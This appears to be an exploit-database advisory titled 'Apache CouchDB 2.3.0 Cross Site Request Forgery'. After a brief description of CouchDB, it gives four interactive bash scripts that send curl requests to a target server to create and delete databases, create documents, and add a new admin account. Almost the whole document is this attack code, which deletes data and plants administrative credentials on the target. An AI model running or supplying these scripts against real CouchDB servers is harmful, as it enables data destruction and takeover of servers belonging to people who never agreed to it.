################################################################################################################################## # Exploit Title: Apache CouchDB 2.3.0 Cross Site Request Forgery # Date: 21.12.2018 # Exploit Author: Ozer Goker # Vendor Homepage: http://couchdb.apache.org # Software Link: http://couchdb.apache.org/#download # Version: 2.3.0 ################################################################################################################################## Introduction Apache CouchDB is open source database software that focuses on ease of use and having a scalable architecture. It has a document-oriented NoSQL database architecture and is implemented in the concurrency-oriented language Erlang; it uses JSON to store data, JavaScript as its query language using MapReduce, and HTTP for an API. ################################################################################################################################## Bash Script for Cross Site Request Forgery CSRF1 Create Database echo -n "Enter IP:" read IP echo -n "Enter Port:" read PORT echo -n "Enter DB Name:" read DB curl -X PUT "$IP:$PORT/$DB" ################################################################################################################################## Delete Database echo -n "Enter IP:" read IP echo -n "Enter Port:" read PORT echo -n "Enter DB Name:" read DB curl -X DELETE "$IP:$PORT/$DB" ################################################################################################################################## Create Document echo -n "Enter IP:" read IP echo -n "Enter Port:" read PORT echo -n "Enter DB Name:" read DB echo -n "Enter Document Name:" read DOC curl -X PUT "$IP:$PORT/$DB/$DOC" --data '{"_id":"$DOC"}' ################################################################################################################################## Create Admin echo -n "Enter IP:" read IP echo -n "Enter Port:" read PORT echo -n "Enter Admin Username:" read username echo -n "Enter Admin Password:" read password curl -X PUT "$IP:$PORT/_node/couchdb@localhost/_config/admins/$username" -H "content-type: application/json" --data \"$password\" ##################################################################################################################################